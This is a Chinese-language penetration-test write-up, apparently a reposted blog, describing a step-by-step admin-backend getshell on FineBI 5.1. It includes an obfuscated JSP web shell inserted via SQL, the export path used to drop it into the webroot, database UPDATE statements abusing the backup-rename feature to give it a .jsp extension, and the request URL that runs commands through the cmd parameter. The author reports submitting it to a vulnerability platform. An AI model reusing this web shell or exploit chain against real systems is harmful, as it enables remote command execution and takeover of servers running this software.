记一次曲折的后台getshell过程
最近團隊在對某個廠商進行測試,辛辛苦苦搞了快一個星期才拿到一個 shell,弟弟太慘了
0x01 開始復現
訪問url進入登錄界面,輸入管理密碼進入頁面
請裝作沒有看到我那個失敗的XSS,過了這么久也忘記了在哪里改回來了
進入頁面
我這咋一看,我丟這不是和通某OA差不多嗎,當初通某OA剛發的時候,全是XSS,越權,SQL注入,未授權啥的,那時候也是更上了那次風,小賺了一筆
好了,不扯皮了,正式開始復現,進入頁面后,點擊數據準備
添加一個業務包,點擊進去后發現可以添加數據表
再一看右上角有一個全局更新,點進入一看,我丟,數據表內容可以任意位置存放。
看到之后,心想這不就翱翔了嘛,系統管理處好像有個添加數據庫連接,這波就直接在本地數據庫插入一個馬子,再到這里一連接,然后一添加表,再一導出,不就直接getshell啦
直接開始操作,進入本地數據庫,選擇phpstudy創建數據庫自帶的sys數據庫,進入再創建一個test表
use sys; create table test(test varchar(2555) not null);
在數據庫中插入木馬內容,因為是java環境就是插入jsp的馬子
insert into test(test) values ('<%if(request.getParameter("cmd")!= null) { Class rt = Class.forNama(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 })); Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke( rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd")); java.io.InputStream in = e.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(""); while((a = in.read(b)) != -1) {out.println(new String(b)); } out.print("");} %>');回到系統中,將自己數據庫添加進去,系統管理-數據連接-數據連接管理-新建數據連接
選擇mysql,添加配置
測試連接
回到數據準備處
找到我們創建的test數據庫中test的數據表,確定
查看我們的馬子:
點擊全局更新,修改下路徑,注:因為路由問題,是無法直接訪問的,需要放到C:\FineBI5.1\webapps\webroot\scripts路徑下,但因為目錄下必須為空,所以需要在前面隨意添加目錄,它會自動創建
點擊立刻更新多維數據庫
注:它默認會有很多數據,建議提前全部刪除,我這里之前已經刪了,就不搞了
查看文件是否到了指定目錄,文件位置在
C:\FineBI5.1\webapps\webroot\scripts\admin\db\T_C162F2\super\P-1\S-1
下
查看文件中
然后我們就發現了一個很嚴重的問題.....不是 jsp 后綴,這不就當場裂開了嗎
但是現在就差著臨門一腳,怎么可能半途放棄,現在能解決我現在就兩種方法了,文件包含,和任意文件名修改了,不過java站好像沒有文件包含吧,手動滑稽,現在就只能一條路了,任意文件名修改,其實的話,原本是有一個的。。。但是是我朋友先發現的,就提交給某天了,導致沒得用,現在就簡單的給大家看一下
就是這個位置,任意文件名修改,用個burp抓個包改就好了,具體就不演示了,然后還有什么辦法呢,想了一天之后,終于給我找到了一處可能可以的
位置在:管理系統-智能運維-備份還原處
看到左上角角落里躲著一直設置的圖標,點擊一下
可以看到這又是一個任意文件存放,但是沒啥用因為我們要的是任意文件名修改,所以主題不在這里,隨意改一下備份路徑等下好找,保持,回到頁面,點擊一下手動備份,名字隨意
現在重點來了,拿小本本記號,必考
勾選之前的備份,開啟 burp,點擊重命名
發現好像只有一個ID來判斷文件,沒有指定文件名,當時腦子就一晃,難道我就真的不能getshell了嗎?
不不不,仔細一想,它好像走的是數據庫欸,然后一個ID和一個name,那么數據庫中必定包含著文件路徑,要不然怎么修改,對了忘記給文件路徑的圖片了,文件目錄在
C:\FineBI5.1\webapps\webroot\backup\config\manual\
這么長的路徑,不管怎么說都得有個路徑吧,現在就進入數據庫找一找,
不負所望有了路徑,應該只需要backupName和savePath兩個參數就可以實現任意文件名修改了
現在就會有人問了,怎么才能連接數據庫呢,不著急且聽我慢慢道來,在系統中有個管理權限,可以配置外接數據庫,只要有一臺外網服務器,一個符合數據庫版本和允許遠程登錄的數據庫,不就成了么
開始實現:
位置在:管理系統-系統管理-常規-外接數據庫
家境貧寒沒有服務器,就找個我兄弟的服務用了一下,等下和他意思意思一下就可以了,現在說一下為什么要配置外接數據庫,Finebi5.1 配置了外接,內容所有數據都會存入外接數據庫當中,然后....手動滑稽
注意數據庫版本是被指定的
咳咳,回到正題,現在我們開始修改數據庫內容,至于表怎么找到的,別問,問就是一個一個翻
update fine_backup_node set backupName="col-0-dic" where backupName='2020.12.29_10.11.24123';update fine_backup_node set savePath="../scripts/admin/db/T_C162F2/super/P-1/S-1" where savePath='../backup/config/manual';再次查看發現已經修改成功
這里說一下,為什么是把文件名改為col-0-dic,而不是直接加上jsp,因為它這個是會在指定的那個路徑去尋找文件,如果改為col-0-dic.jsp,就找不到文件了,所以現在就開始快樂的修改文件名環節
修改數據庫后,回到系統后,刷新
可以看到文件名已經修改,現在開始重命名添加上 jsp 后綴
保存,到主機上查看
發現已經被修改,訪問執行whoami,參數cmd,GET請求
IP:端口/webroot/scripts/admin/db/T_C162F2/super/P-1/S-1/col-0-dic.jsp?cmd=whoami
成功了,歷時五天六個小時,終于 getshell 了
?
0x04 結語
現在就是已經拿到 shell 權限了,因為是用管理權限運行的,至少都是一個管理員權限,不就想干啥干啥了,然后其中還有很多很多挫折的,試了很多很多方法,才找到一個(果然還是我太菜),但還是不負眾望(相關漏洞已提交至某天 src)
總結
以上是生活随笔為你收集整理的记一次曲折的后台getshell过程的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 利用注释及自定义加密免杀Webshell
- 下一篇: 11个步骤完美排查Linux机器是否已经